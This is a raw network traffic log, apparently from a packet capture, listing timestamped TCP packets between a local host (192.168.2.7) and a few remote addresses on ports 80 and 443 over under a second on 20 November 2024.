Nov 20, 2024 23:12:53.422755003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.422907114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.422961950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.423763037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.423779964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.423825026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.423847914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.424324989 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.424387932 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.424432993 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.424462080 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.424484968 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.424513102 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.424825907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.424894094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.424918890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.424957037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.425889015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.426003933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.426098108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.426909924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.426979065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.427131891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.427308083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.427968025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.428047895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.428077936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.428180933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.429114103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.429126024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.429194927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.430123091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.430212975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.430269003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.431229115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.431325912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.431396008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.432265997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.432339907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.432360888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.432440042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.433311939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.433367014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.433429956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.433504105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.434377909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.434518099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.434585094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.435426950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.435481071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.435498953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.435533047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.436486006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.436577082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.436656952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.436708927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.437547922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.437625885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.437627077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.437685966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.441199064 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.441226006 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.441314936 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.441330910 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.441389084 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.457133055 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.457161903 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.457231045 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.457257986 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.457289934 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.457314968 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.503987074 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.504582882 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.504611969 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.505322933 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.505327940 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.531997919 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.532059908 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.532123089 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.532370090 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.532388926 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.532439947 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.532444954 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.535157919 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.535200119 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.535847902 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.536439896 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.536452055 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.547203064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.547290087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.547327995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.547399998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.547693968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.547851086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.547904015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.548759937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.548823118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.548854113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.548917055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.549787998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.549848080 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.549895048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.550955057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.551035881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.551109076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.551763058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.551817894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.551951885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.551992893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.552814960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.553005934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.553059101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.553822041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.553910017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.553961039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.554874897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.554949999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.555010080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.555054903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.555736065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.555814028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.555865049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.555907965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.556726933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.556840897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.556907892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.557615042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.557679892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.557704926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.557745934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.558609009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.558696985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.558760881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.559510946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.559648991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.559705973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.560352087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.560424089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.560457945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.560501099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.561256886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.561336040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.561441898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.561491966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.562144995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.562207937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.562272072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.562506914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.563079119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.563146114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.563201904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.563308001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.563987017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.564049006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.564079046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.564137936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.564934015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.564965010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.564992905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.565011978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.565860033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.565984964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.565984964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.566068888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.566749096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.566817045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.566857100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.567032099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.567595005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.567660093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.567723036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.567867041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.568490982 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.568543911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.568557024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.568583012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.569382906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.569457054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.569499016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.569557905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.570324898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.570337057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.570393085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.571207047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.571299076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.571412086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.571435928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.572099924 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.572128057 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.572151899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.572165966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.572217941 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.572237015 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.572272062 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.572279930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.572305918 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.573031902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.573115110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.573116064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.573173046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.573935986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.574028969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.574094057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.574821949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.574889898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.574915886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.575196028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.575743914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.575807095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.575851917 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.575949907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.576646090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.576767921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.576771021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.576817989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.577522993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.577946901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.585164070 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.585185051 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.585283995 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.585295916 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.585342884 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.593064070 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.593121052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.593159914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.593246937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.593525887 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.593575954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.593633890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.593682051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.594413996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.594470024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.594758034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.594816923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.594865084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.594933987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.595302105 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.595407009 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.595592022 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.595637083 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.595654011 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.595669985 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.595675945 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.595974922 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.595992088 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.596064091 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.596075058 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.596115112 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.598433971 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.598470926 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.598560095 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.598787069 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:53.598798037 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:53.608437061 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.608459949 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.608530998 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.608541012 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.608587027 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.620014906 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.620033026 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.620090961 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.620100021 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.620145082 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.628947973 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.628990889 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.629020929 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.629026890 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.629076004 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.629451990 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.629468918 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.632057905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.632138014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.632150888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.632195950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.632431030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.632631063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.632663012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.632692099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.632714033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.633529902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.633632898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.633753061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.634434938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.634533882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.634543896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.634582043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.635351896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.635420084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.635430098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.635515928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.636245966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.636303902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.636315107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.636377096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.637187004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.637260914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.637396097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.637563944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.638042927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.638113976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.638225079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.638289928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.638998985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.639009953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.639066935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.639111042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.639887094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.639938116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.640085936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.640132904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.640783072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.640891075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.640927076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.640969038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.641716003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.641834974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.641859055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.641972065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.642575026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.642636061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.642704010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.642921925 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.643476963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.643723965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.643778086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.644391060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.644447088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.644447088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.644495964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.645298004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.645355940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.645359039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.645401955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.646214008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:53.646286011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:53.729420900 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.729465961 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:53.729566097 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.730016947 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:53.730036020 CET	443	49872	13.107.246.40	192.168.2.7
